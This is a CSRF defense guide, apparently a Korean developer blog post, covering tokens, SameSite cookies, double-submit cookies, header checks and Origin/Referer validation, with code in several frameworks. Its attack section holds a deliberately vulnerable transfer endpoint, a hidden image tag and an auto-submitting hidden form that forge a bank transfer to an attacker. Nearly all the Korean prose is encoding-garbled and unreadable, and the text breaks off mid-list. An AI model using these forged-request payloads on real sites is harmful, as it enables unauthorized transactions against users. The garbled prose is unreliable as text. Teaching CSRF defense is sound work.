Ver3.0 ๐ก๏ธ CSRF ๊ณต๊ฒฉ ์๋ฒฝ ๋ฐฉ์ด ๊ฐ์ด๋: ์น ๋ณด์์ ํ์ ๋ฐฉ์ด๋ง ๊ตฌ์ถํ๊ธฐ

๐ก๏ธ CSRF ๊ณต๊ฒฉ ์๋ฒฝ ๋ฐฉ์ด ๊ฐ์ด๋: ์น ๋ณด์์ ํ์ ๋ฐฉ์ด๋ง ๊ตฌ์ถํ๊ธฐ
Cross-Site Request Forgery ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋น์ ์ ์๋น์ค๋ฅผ ์งํค๋ ์ค์ ๋ ธํ์ฐ
๐ฏ CSRF ๊ณต๊ฒฉ, ๋์ฒด ๋ญ๊ธธ๋ ์ด๋ ๊ฒ ๋๋ฆฌ์ผ?
์ผ ์์งํ ๋งํด์ ใ
ใ
ใ
์น ๊ฐ๋ฐํ๋ค ๋ณด๋ฉด ๋ณด์ ์ด์๊ฐ ํ๋ ๊ฐ๊ฐ ์๋์์? ๊ทธ์ค์์๋ CSRF ๊ณต๊ฒฉ์ ์ง์ง ๊ต๋ฌํ๊ฒ ๋ค์ด์ค๋ ํ์
์ด๋ผ ๊ฐ๋ฐ์๋ค์ด ๋ฐฉ์ฌํ๊ธฐ ์ฌ์ด ์ทจ์ฝ์ ์ค ํ๋์ผ.
CSRF(Cross-Site Request Forgery)๋ ๋ง ๊ทธ๋๋ก ์ฌ์ดํธ ๊ฐ ์์ฒญ ์์กฐ ๊ณต๊ฒฉ์ด์ผ. ์ฝ๊ฒ ๋งํ๋ฉด ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ๊ณต๊ฒฉ์๊ฐ ๋ชฐ๋ ๋ณด๋ด๊ฒ ๋ง๋๋ ๊ฑฐ์ง. ์ฌ์ฉ์๋ ์๊ธฐ๊ฐ ๋ญ ํ๋์ง๋ ๋ชจ๋ฅด๋ ์ฑ๋ก ๊ณ์ข์ด์ฒด๋ฅผ ํ๊ฑฐ๋, ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊พธ๊ฑฐ๋, ๊ฒ์๊ธ์ ์์ฑํ๊ฒ ๋๋ ๊ฑฐ์ผ ๐ฑ
2008๋
์ ์ ๋ช
ํ ์ฌ๊ฑด์ด ์์๋๋ฐ, ๋ทํ๋ฆญ์ค DVD ๋์ฌ ์๋น์ค์์ CSRF ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ด. ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ DVD๋ฅผ ๋์ฌํ๊ฑฐ๋ ๋ฐฐ์ก ์ฃผ์๋ฅผ ๋ฐ๊ฟ ์ ์์๋ ๊ฑฐ์ง. ์ด๋ฐ ์์ผ๋ก ์ค์ ์๋น์ค์์๋ ์ถฉ๋ถํ ์
์ฉ๋ ์ ์๋ ์ํํ ๊ณต๊ฒฉ์ด์ผ.
๐ก CSRF ๊ณต๊ฒฉ์ ํต์ฌ ๋ฉ์ปค๋์ฆ
1. ์ฌ์ฉ์๊ฐ ์ ์์ ์ผ๋ก ์น์ฌ์ดํธ์ ๋ก๊ทธ์ธํจ (์ธ์
/์ฟ ํค ์์ฑ)
2. ๊ณต๊ฒฉ์๊ฐ ์
์์ ์ธ ๋งํฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ด๋์
3. ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธ ์ํ์์ ํด๋น ๋งํฌ๋ฅผ ํด๋ฆญํ๊ฑฐ๋ ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธ
4. ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ธ์ฆ ์ ๋ณด(์ฟ ํค)๋ฅผ ํจ๊ป ์ ์ก
5. ์๋ฒ๋ ์ ์์ ์ธ ์์ฒญ์ผ๋ก ์ฐฉ๊ฐํ๊ณ ์ฒ๋ฆฌํด๋ฒ๋ฆผ ๐ฅ
๐ CSRF ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ์ด์ ๋?
๊ทผ๋ฐ ์ ์ด๋ฐ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ๊ฑธ๊น? ํต์ฌ์ ๋ธ๋ผ์ฐ์ ์ ์๋ ์ธ์ฆ ๋ฉ์ปค๋์ฆ์ ์์ด.
์ฐ๋ฆฌ๊ฐ ์น์ฌ์ดํธ์ ๋ก๊ทธ์ธํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ์ฟ ํค์ ์ธ์
์ ๋ณด๋ฅผ ์ ์ฅํ์์? ๊ทธ๋ฆฌ๊ณ ๊ทธ ๋๋ฉ์ธ์ผ๋ก ์์ฒญ์ ๋ณด๋ผ ๋๋ง๋ค ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ฟ ํค๋ฅผ ํจ๊ป ์ ์กํด. ์ด๊ฒ ๋ฐ๋ก ์ฐ๋ฆฌ๊ฐ ๋งค๋ฒ ๋ก๊ทธ์ธ ์ ํด๋ ๋๋ ์ด์ ์ผ ใ
ใ
ใ
๋ฌธ์ ๋ ์ด ์๋ ์ ์ก์ด ์ด๋์ ์์ฒญ์ด ์์๋๋์ง ๊ตฌ๋ถํ์ง ์๋๋ค๋ ๊ฑฐ์ผ. ์ ์์ ์ธ ์ฌ์ดํธ์์ ๋ณด๋ธ ์์ฒญ์ด๋ , ๊ณต๊ฒฉ์์ ์
์ฑ ์ฌ์ดํธ์์ ๋ณด๋ธ ์์ฒญ์ด๋ ์๊ด์์ด ์ฟ ํค๋ฅผ ๋ถ์ฌ์ ๋ณด๋ด๋ฒ๋ ค.
โ ๏ธ ์ทจ์ฝํ ์ฝ๋ ์์
// ์๋ฌด๋ฐ ๋ณดํธ์ฅ์น ์๋ ๊ณ์ข์ด์ฒด API
@PostMapping("/transfer")
public String transfer(@RequestParam String to,
@RequestParam int amount) {
// ์ธ์
์์ ์ฌ์ฉ์ ํ์ธ๋ง ํจ
User user = getSessionUser();
// ๋ฐ๋ก ์ด์ฒด ์คํ (์ํ!)
bankService.transfer(user.getAccount(), to, amount);
return "success";
}
์ด๋ฐ ์ฝ๋๋ ๊ณต๊ฒฉ์๊ฐ ๋ค์๊ณผ ๊ฐ์ HTML์ ๋ง๋ค์ด์ ์ฌ์ฉ์๋ฅผ ์ ์ธํ๋ฉด ๋์ด์ผ:
<img src="https://bank.com/transfer?to=attacker&amount=1000000">
๐ญ ์ค์ ๊ณต๊ฒฉ ์๋๋ฆฌ์ค
์ข ๋ ๊ตฌ์ฒด์ ์ธ ์์๋ฅผ ๋ค์ด๋ณผ๊ฒ. ๋๊ฐ ์ํ ์น์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ํ๋ผ๊ณ ๊ฐ์ ํด๋ณด์.
์๋๋ฆฌ์ค 1: ์ด๋ฏธ์ง ํ๊ทธ๋ฅผ ์ด์ฉํ GET ์์ฒญ ๊ณต๊ฒฉ
๊ณต๊ฒฉ์๊ฐ ์ด๋ฉ์ผ์ด๋ ๊ฒ์ํ์ ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์จ๊ฒจ๋์:
<img src="https://mybank.com/transfer?to=attacker&amount=5000000"
width="0" height="0" />
๋๊ฐ ์ด ํ์ด์ง๋ฅผ ์ด๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋ ค๊ณ ํด๋น URL์ ์์ฒญ์ ๋ณด๋ด. ๊ทธ๋ฆฌ๊ณ ๋์ ๋ก๊ทธ์ธ ์ฟ ํค๋ ํจ๊ป ์ ์ก๋์ง. ์๋ฒ๋ ์ ์์ ์ธ ์์ฒญ์ผ๋ก ํ๋จํ๊ณ ์ด์ฒด๋ฅผ ์คํํด๋ฒ๋ ค ๐จ
์๋๋ฆฌ์ค 2: ์๋ ์ ์ถ ํผ์ ์ด์ฉํ POST ์์ฒญ ๊ณต๊ฒฉ
GET๋ณด๋ค ๋ ๊ต๋ฌํ ๋ฐฉ๋ฒ์ด์ผ:
<form id="hack" action="https://mybank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="5000000" />
</form>
<script>
document.getElementById('hack').submit();
</script>
์ด ํ์ด์ง๋ฅผ ์ด๋ฉด ์๋์ผ๋ก ํผ์ด ์ ์ถ๋๋ฉด์ POST ์์ฒญ์ด ๋ ์๊ฐ. ์ฌ์ฉ์๋ ๋ญ๊ฐ ๊น๋นก์ด๋ ๊ฒ๋ง ๋ณด๊ณ ์ง๋๊ฐ ์๋ ์์ด.
๐ก๏ธ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 1: CSRF ํ ํฐ (๊ฐ์ฅ ๊ฐ๋ ฅํ ๋ฐฉ๋ฒ)
์ ์ด์ ๋ณธ๊ฒฉ์ ์ผ๋ก ๋ฐฉ์ด ๋ฐฉ๋ฒ์ ์์๋ณด์! ๊ฐ์ฅ ํจ๊ณผ์ ์ด๊ณ ๋๋ฆฌ ์ฌ์ฉ๋๋ ๋ฐฉ๋ฒ์ด ๋ฐ๋ก CSRF ํ ํฐ์ด์ผ.
์๋ฆฌ๋ ๊ฐ๋จํด. ์๋ฒ๊ฐ ๊ฐ ์ธ์
๋ง๋ค ์์ธก ๋ถ๊ฐ๋ฅํ ๋๋ค ํ ํฐ์ ์์ฑํด์ ํด๋ผ์ด์ธํธ์๊ฒ ์ ๋ฌํ๊ณ , ํด๋ผ์ด์ธํธ๋ ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์ฒญ(POST, PUT, DELETE ๋ฑ)์ ์ด ํ ํฐ์ ํจ๊ป ๋ณด๋ด๋ ๊ฑฐ์ผ. ์๋ฒ๋ ์์ฒญ์ ๋ฐ์ผ๋ฉด ํ ํฐ์ ๊ฒ์ฆํ๊ณ , ์ผ์นํ์ง ์์ผ๋ฉด ์์ฒญ์ ๊ฑฐ๋ถํด.
๊ณต๊ฒฉ์๋ ์ด ํ ํฐ ๊ฐ์ ์ ์ ์๊ธฐ ๋๋ฌธ์ (Same-Origin Policy ๋๋ฌธ์) ์์กฐ๋ ์์ฒญ์ ๋ง๋ค ์ ์๊ฒ ๋๋ ๊ฑฐ์ง ใ
ใ
ใ
โ Spring Security๋ฅผ ์ด์ฉํ CSRF ํ ํฐ ๊ตฌํ
// Spring Security ์ค์
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
)
.authorizeHttpRequests(auth -> auth
.anyRequest().authenticated()
);
return http.build();
}
}
Spring Security๋ ๊ธฐ๋ณธ์ ์ผ๋ก CSRF ๋ณดํธ๊ฐ ํ์ฑํ๋์ด ์์ด. ์ ์ค์ ์ CSRF ํ ํฐ์ ์ฟ ํค์ ์ ์ฅํ๋ ๋ฐฉ์์ธ๋ฐ, JavaScript์์ ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก HttpOnly๋ฅผ false๋ก ์ค์ ํ ๊ฑฐ์ผ.
ํ๋ก ํธ์๋์์ ํ ํฐ ์ฌ์ฉํ๊ธฐ:
// HTML ํผ์ ํ ํฐ ํฌํจ
<form method="POST" action="/transfer">
<input type="hidden" name="${_csrf.parameterName}"
value="${_csrf.token}" />
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">์ด์ฒดํ๊ธฐ</button>
</form>
// JavaScript (Fetch API) ์ฌ์ฉ ์
const token = document.cookie
.split('; ')
.find(row => row.startsWith('XSRF-TOKEN='))
?.split('=')[1];
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-XSRF-TOKEN': token
},
body: JSON.stringify({
to: 'recipient',
amount: 10000
})
});
๐ ํ ํฐ ์์ฑ ๋ฐ ๊ฒ์ฆ ๋ก์ง ์ง์ ๊ตฌํํ๊ธฐ
ํ๋ ์์ํฌ ์์ด ์ง์ ๊ตฌํํ๊ณ ์ถ๋ค๋ฉด? ์ด๋ ๊ฒ ํ ์ ์์ด:
// Node.js + Express ์์
const crypto = require('crypto');
const session = require('express-session');
// ํ ํฐ ์์ฑ ๋ฏธ๋ค์จ์ด
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
res.locals.csrfToken = req.session.csrfToken;
next();
});
// ํ ํฐ ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
function verifyCsrfToken(req, res, next) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({
error: 'Invalid CSRF token'
});
}
next();
}
// ๋ณดํธ๊ฐ ํ์ํ ๋ผ์ฐํธ์ ์ ์ฉ
app.post('/transfer', verifyCsrfToken, (req, res) => {
// ์์ ํ๊ฒ ์ด์ฒด ์ฒ๋ฆฌ
const { to, amount } = req.body;
transferMoney(req.session.userId, to, amount);
res.json({ success: true });
});
๐ก CSRF ํ ํฐ ๋ฒ ์คํธ ํ๋ํฐ์ค
1. ํ ํฐ์ ์ธ์
๋ง๋ค ๊ณ ์ ํด์ผ ํจ - ์ฌ์ฉ์๋ณ๋ก ๋ค๋ฅธ ํ ํฐ ์ฌ์ฉ
2. ์ถฉ๋ถํ ๊ธด ๋๋ค ๊ฐ ์ฌ์ฉ - ์ต์ 128๋นํธ ์ด์ (16๋ฐ์ดํธ)
3. ์ํธํ์ ์ผ๋ก ์์ ํ ๋์ ์์ฑ๊ธฐ ์ฌ์ฉ - crypto.randomBytes() ๊ฐ์ ๊ฑฐ
4. ํ ํฐ์ ์๋ฒ ์ธก์์๋ง ์์ฑ - ํด๋ผ์ด์ธํธ์์ ์์ฑํ๋ฉด ์ ๋ผ
5. GET ์์ฒญ์๋ ํ ํฐ ๋ถํ์ - ์ํ ๋ณ๊ฒฝ์ด ์๋ ์์ฒญ์ ์ ์ธ
6. ํ ํฐ ์ฌ์ฌ์ฉ ๊ฐ๋ฅ - ๋งค ์์ฒญ๋ง๋ค ์๋ก ์์ฑํ ํ์ ์์ (์ธ์
๋จ์๋ก ๊ด๋ฆฌ)
๐ช CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 2: SameSite ์ฟ ํค ์์ฑ
์์ฆ ๋ธ๋ผ์ฐ์ ๋ค์ด ์ง์ํ๋ ๊ฟ๊ธฐ๋ฅ์ด ํ๋ ์์ด. ๋ฐ๋ก SameSite ์ฟ ํค ์์ฑ์ด์ผ ใ
ใ
ใ
์ด๊ฑด ์ฟ ํค๊ฐ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์ ํฌํจ๋ ์ง ๋ง์ง๋ฅผ ์ ์ดํ๋ ์์ฑ์ด์ผ. ์ธ ๊ฐ์ง ๊ฐ์ด ์์ด:
| ์์ฑ ๊ฐ | ์ค๋ช | ๋ณด์ ์์ค |
|---|---|---|
| Strict | ๊ฐ์ ์ฌ์ดํธ์์๋ง ์ฟ ํค ์ ์ก. ์ธ๋ถ ๋งํฌ ํด๋ฆญ ์์๋ ์ฟ ํค ์ ๋ณด๋ | ๐๐๐ ์ต๊ณ |
| Lax | ๋๋ถ๋ถ์ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์์ ์ฟ ํค ์ฐจ๋จ. ๋จ, ์์ ํ GET ์์ฒญ(๋งํฌ ํด๋ฆญ ๋ฑ)์ ํ์ฉ | ๐๐ ๋์ |
| None | ๋ชจ๋ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์ ์ฟ ํค ํฌํจ (Secure ์์ฑ ํ์) | ๐ ๋ฎ์ |
๋๋ถ๋ถ์ ๊ฒฝ์ฐ Lax๊ฐ ์ ๋นํด. ์ฌ์ฉ์ ๊ฒฝํ์ ํด์น์ง ์์ผ๋ฉด์๋ CSRF ๊ณต๊ฒฉ์ ํจ๊ณผ์ ์ผ๋ก ๋ง์ ์ ์๊ฑฐ๋ .
์ค์ ๊ตฌํ ์์:
// Express.js์์ ์ธ์
์ฟ ํค ์ค์
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // XSS ๋ฐฉ์ด
secure: true, // HTTPS์์๋ง ์ ์ก
sameSite: 'lax', // CSRF ๋ฐฉ์ด
maxAge: 3600000 // 1์๊ฐ
}
}));
// Spring Boot์์ ์ค์
server.servlet.session.cookie.same-site=lax
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
// PHP์์ ์ค์
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
โ ๏ธ SameSite=Strict ์ฌ์ฉ ์ ์ฃผ์์ฌํญ
Strict๋ ๋ณด์์ ์ต๊ณ ์ง๋ง ์ฌ์ฉ์ ๊ฒฝํ์ ๋ฌธ์ ๊ฐ ์๊ธธ ์ ์์ด. ์๋ฅผ ๋ค์ด:
- ์ด๋ฉ์ผ์์ "๋น๋ฐ๋ฒํธ ์ฌ์ค์ " ๋งํฌ ํด๋ฆญ โ ๋ก๊ทธ์ธ ์ ๋ ์ํ๋ก ํ์ด์ง ์ด๋ฆผ
- ์ธ๋ถ ์ฌ์ดํธ์์ ๋์ ์๋น์ค ๋งํฌ ํด๋ฆญ โ ๋ก๊ทธ์ธ ํ๋ ค์์
- SNS ๊ณต์ ๋งํฌ ํด๋ฆญ โ ์ธ์
์์
๊ทธ๋์ ์ผ๋ฐ์ ์ผ๋ก๋ Lax๋ฅผ ์ถ์ฒํด. Strict๋ ์ํ์ด๋ ๊ธ์ต ์๋น์ค์ฒ๋ผ ๋ณด์์ด ๊ทน๋๋ก ์ค์ํ ๊ฒฝ์ฐ์๋ง ์ฌ์ฉํ๋ ๊ฒ ์ข์.
๐ ๋ธ๋ผ์ฐ์ ํธํ์ฑ
SameSite ์์ฑ์ ๋๋ถ๋ถ์ ์ต์ ๋ธ๋ผ์ฐ์ ์์ ์ง์ํด:
- Chrome 51+ (2016๋
๋ถํฐ)
- Firefox 60+ (2018๋
๋ถํฐ)
- Safari 12+ (2018๋
๋ถํฐ)
- Edge 16+ (2017๋
๋ถํฐ)
Chrome 80๋ถํฐ๋ SameSite๋ฅผ ๋ช
์ํ์ง ์์ผ๋ฉด ์๋์ผ๋ก Lax๊ฐ ์ ์ฉ๋ผ. ๊ทธ๋์ ์์ฆ์ ๊ฑฐ์ ๊ธฐ๋ณธ ๋ณด์ ๊ธฐ๋ฅ์ฒ๋ผ ์๋ํ๋ค๊ณ ๋ณด๋ฉด ๋ผ ใ
ใ
ใ
๐ซ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 3: Double Submit Cookie ํจํด
CSRF ํ ํฐ์ ์๋ฒ ์ธ์
์ ์ ์ฅํ๊ธฐ ๋ถ๋ด์ค๋ฌ์ธ ๋ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ด์ผ. ํนํ ๋ฌด์ํ(Stateless) ์ํคํ
์ฒ๋ ๋ง์ดํฌ๋ก์๋น์ค ํ๊ฒฝ์์ ์ ์ฉํด ใ
ใ
ใ
์๋ฆฌ๋ ์ด๋:
1. ์๋ฒ๊ฐ ๋๋ค ํ ํฐ์ ์์ฑํด์ ์ฟ ํค์ ์ ์ฅ
2. ํด๋ผ์ด์ธํธ๋ ์ด ํ ํฐ์ ์ฟ ํค์์ ์ฝ์ด์ ์์ฒญ ํค๋๋ ๋ฐ๋์ ํฌํจ
3. ์๋ฒ๋ ์ฟ ํค์ ํ ํฐ๊ณผ ์์ฒญ์ ํฌํจ๋ ํ ํฐ์ด ์ผ์นํ๋์ง ํ์ธ
๊ณต๊ฒฉ์๋ ์ฟ ํค ๊ฐ์ ์ฝ์ ์ ์๊ธฐ ๋๋ฌธ์ (Same-Origin Policy) ์์ฒญ์ ํ ํฐ์ ํฌํจ์ํฌ ์ ์์ด.
// Node.js + Express ๊ตฌํ
const crypto = require('crypto');
// ํ ํฐ ์์ฑ ๋ฐ ์ฟ ํค ์ค์
app.use((req, res, next) => {
if (!req.cookies.csrfToken) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrfToken', token, {
httpOnly: false, // JavaScript์์ ์ฝ์ ์ ์์ด์ผ ํจ
secure: true,
sameSite: 'strict'
});
}
next();
});
// ํ ํฐ ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
function verifyDoubleSubmit(req, res, next) {
const cookieToken = req.cookies.csrfToken;
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({
error: 'CSRF token mismatch'
});
}
next();
}
// ์ฌ์ฉ ์์
app.post('/api/transfer', verifyDoubleSubmit, (req, res) => {
// ์์ ํ๊ฒ ์ฒ๋ฆฌ
});
ํ๋ก ํธ์๋์์๋ ์ด๋ ๊ฒ ์ฌ์ฉํด:
// JavaScript์์ ์ฟ ํค ์ฝ๊ธฐ
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) {
return parts.pop().split(';').shift();
}
}
// API ์์ฒญ ์ ํ ํฐ ํฌํจ
const csrfToken = getCookie('csrfToken');
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({
to: 'recipient',
amount: 50000
})
});
๐ก Double Submit Cookie vs ์ผ๋ฐ CSRF ํ ํฐ
์ฅ์ :
- ์๋ฒ ์ธก ์ธ์
์ ์ฅ์ ๋ถํ์ (๋ฌด์ํ ์ ์ง ๊ฐ๋ฅ)
- ํ์ฅ์ฑ ์ข์ (๋ก๋ ๋ฐธ๋ฐ์ ๋ค์์๋ ๋ฌธ์ ์์)
- ๊ตฌํ์ด ์๋์ ์ผ๋ก ๊ฐ๋จ
๋จ์ :
- ์ฟ ํค๋ฅผ HttpOnly๋ก ์ค์ ํ ์ ์์ (XSS ์ทจ์ฝ์ ์์ผ๋ฉด ์ํ)
- ์๋ธ๋๋ฉ์ธ ๊ณต๊ฒฉ์ ์ทจ์ฝํ ์ ์์
- ํ ํฐ ๊ฒ์ฆ ๋ก์ง์ด ์ฝ๊ฐ ๋ ์์ ํจ
๐ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 4: Custom Request Header ๊ฒ์ฆ
์ด๊ฑด ์ข ํธ๋ฆฌํคํ ๋ฐฉ๋ฒ์ธ๋ฐ ใ
ใ
ใ
SPA(Single Page Application)๋ API ์๋ฒ์์ ๋ง์ด ์จ.
์๋ฆฌ๋ ๊ฐ๋จํด. ์ปค์คํ
HTTP ํค๋๋ ํฌ๋ก์ค ๋๋ฉ์ธ ์์ฒญ์์ ์๋์ผ๋ก ์ถ๊ฐ๋์ง ์๋๋ค๋ ๋ธ๋ผ์ฐ์ ์ ํน์ฑ์ ์ด์ฉํ๋ ๊ฑฐ์ผ.
์๋ฅผ ๋ค์ด X-Requested-With: XMLHttpRequest ๊ฐ์ ํค๋๋ฅผ ์๊ตฌํ๋ฉด, ์ผ๋ฐ์ ์ธ ํผ ์ ์ถ์ด๋ ์ด๋ฏธ์ง ํ๊ทธ๋ก๋ ์ด ํค๋๋ฅผ ์ถ๊ฐํ ์ ์์ด. AJAX ์์ฒญ์์๋ง ๊ฐ๋ฅํ์ง.
// Express.js ๋ฏธ๋ค์จ์ด
function requireCustomHeader(req, res, next) {
const customHeader = req.headers['x-requested-with'];
if (customHeader !== 'XMLHttpRequest') {
return res.status(403).json({
error: 'Invalid request origin'
});
}
next();
}
// API ๋ผ์ฐํธ์ ์ ์ฉ
app.post('/api/*', requireCustomHeader);
// ๋๋ ๋ ๊ฐ๋ ฅํ ๊ฒ์ฆ
function verifyApiRequest(req, res, next) {
const apiKey = req.headers['x-api-key'];
const requestedWith = req.headers['x-requested-with'];
if (!apiKey || !requestedWith) {
return res.status(403).json({
error: 'Missing required headers'
});
}
// API ํค ๊ฒ์ฆ ๋ก์ง
if (!isValidApiKey(apiKey)) {
return res.status(401).json({
error: 'Invalid API key'
});
}
next();
}
ํด๋ผ์ด์ธํธ์์๋ ์ด๋ ๊ฒ:
// Axios ์ฌ์ฉ ์ ์ ์ญ ์ค์
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
// Fetch API ์ฌ์ฉ ์
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'X-API-Key': 'your-api-key'
},
body: JSON.stringify(data)
});
// jQuery๋ ์๋์ผ๋ก ์ถ๊ฐํด์ค
$.ajax({
url: '/api/data',
method: 'POST',
data: data
// X-Requested-With ํค๋ ์๋ ์ถ๊ฐ๋จ
});
โ ๏ธ ์ด ๋ฐฉ๋ฒ๋ง์ผ๋ก๋ ๋ถ์กฑํด!
Custom Header ๊ฒ์ฆ์ ๋ณด์กฐ์ ์ธ ๋ฐฉ์ด ์๋จ์ผ๋ก๋ง ์ฌ์ฉํด์ผ ํด. ์๋ํ๋ฉด:
1. CORS ์ค์ ์ด ์๋ชป๋๋ฉด ๋ฌด์ฉ์ง๋ฌผ - Access-Control-Allow-Headers์ ์ปค์คํ
ํค๋๊ฐ ํฌํจ๋๋ฉด ๊ณต๊ฒฉ ๊ฐ๋ฅ
2. Flash๋ Java ์ ํ๋ฆฟ ๊ฐ์ ํ๋ฌ๊ทธ์ธ์ผ๋ก ์ฐํ ๊ฐ๋ฅ (์์ฆ์ ๊ฑฐ์ ์ ์ฐ์ง๋ง)
3. ๋ธ๋ผ์ฐ์ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋๋ฉด ํค๋ ์ถ๊ฐ๊ฐ ๊ฐ๋ฅํ ์๋
๊ทธ๋์ CSRF ํ ํฐ์ด๋ SameSite ์ฟ ํค์ ํจ๊ป ์ฌ์ฉํ๋ ๊ฒ ์ข์!
๐ฏ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 5: Origin๊ณผ Referer ํค๋ ๊ฒ์ฆ
HTTP ์์ฒญ์๋ Origin๊ณผ Referer ํค๋๊ฐ ํฌํจ๋๋๋ฐ, ์ด๊ฑธ ๊ฒ์ฆํด์ ์์ฒญ์ด ์ด๋์ ์๋์ง ํ์ธํ ์ ์์ด.
Origin ํค๋: POST, PUT, DELETE ๊ฐ์ ์์ฒญ์ ์๋์ผ๋ก ํฌํจ๋ผ. ์์ฒญ์ ๋ณด๋ธ ์ถ์ฒ(๋๋ฉ์ธ)๋ฅผ ๋ํ๋ด์ง.
Referer ํค๋: ์ด์ ํ์ด์ง์ URL์ ํฌํจํด. ๋จ, ํ๋ผ์ด๋ฒ์ ์ ์ฑ
์ ๋ฐ๋ผ ์๋ต๋ ์ ์์ด.
// Express.js ๋ฏธ๋ค์จ์ด
function verifyOrigin(req, res, next) {
const origin = req.headers.origin;
const referer = req.headers.referer;
const allowedOrigins = [
'https://myapp.com',
'https://www.myapp.com'
];
// Origin ํค๋ ํ์ธ (์ฐ์ ์์ ๋์)
if (origin) {
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({
error: 'Invalid origin'
});
}
return next();
}
// Origin์ด ์์ผ๋ฉด Referer ํ์ธ
if (referer) {
const refererUrl = new URL(referer);
const refererOrigin = `${refererUrl.protocol}//${refererUrl.host}`;
if (!allowedOrigins.includes(refererOrigin)) {
return res.status(403).json({
error: 'Invalid referer'
});
}
return next();
}
// ๋ ๋ค ์์ผ๋ฉด ๊ฑฐ๋ถ
return res.status(403).json({
error: 'Missing origin/referer header'
});
}
// ์ํ ๋ณ๊ฒฝ ์์ฒญ์๋ง ์ ์ฉ
app.post('*', verifyOrigin);
app.put('*', verifyOrigin);
app.delete('*', verifyOrigin);
Spring Boot์์๋ ์ด๋ ๊ฒ:
@Component
public class OriginVerificationFilter extends OncePerRequestFilter {
private static final List<String> ALLOWED_ORIGINS = Arrays.asList(
"https://myapp.com",
"https://www.myapp.com"
);
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain)
throws ServletException, IOException {
String method = request.getMethod();
// GET, HEAD, OPTIONS๋ ๊ฒ์ฆ ์๋ต
if ("GET".equals(method) || "HEAD".equals(method) ||
"OPTIONS".equals(method)) {
filterChain.doFilter(request, response);
return;
}
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");
if (origin != null) {
if (!ALLOWED_ORIGINS.contains(origin)) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("Invalid origin");
return;
}
} else if (referer != null) {
try {
URL refererUrl = new URL(referer);
String refererOrigin = refererUrl.getProtocol() + "://" +
refererUrl.getHost();
if (!ALLOWED_ORIGINS.contains(refererOrigin)) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("Invalid referer");
return;
}
} catch (MalformedURLException e) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
return;
}
} else {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("Missing origin/referer");
return;
}
filterChain.doFilter(request, response);
}
}
๐ก Origin/Referer ๊ฒ์ฆ์ ์ฅ๋จ์
์ฅ์ :
- ๊ตฌํ์ด ๊ฐ๋จํจ
- ์ถ๊ฐ ํ ํฐ ๊ด๋ฆฌ ๋ถํ์
- ์ฑ๋ฅ ์ค๋ฒํค๋ ๊ฑฐ์ ์์
๋จ์ :
- Referer ํค๋๋ ํ๋ผ์ด๋ฒ์ ์ค์ ์ผ๋ก ์ฐจ๋จ๋ ์ ์์
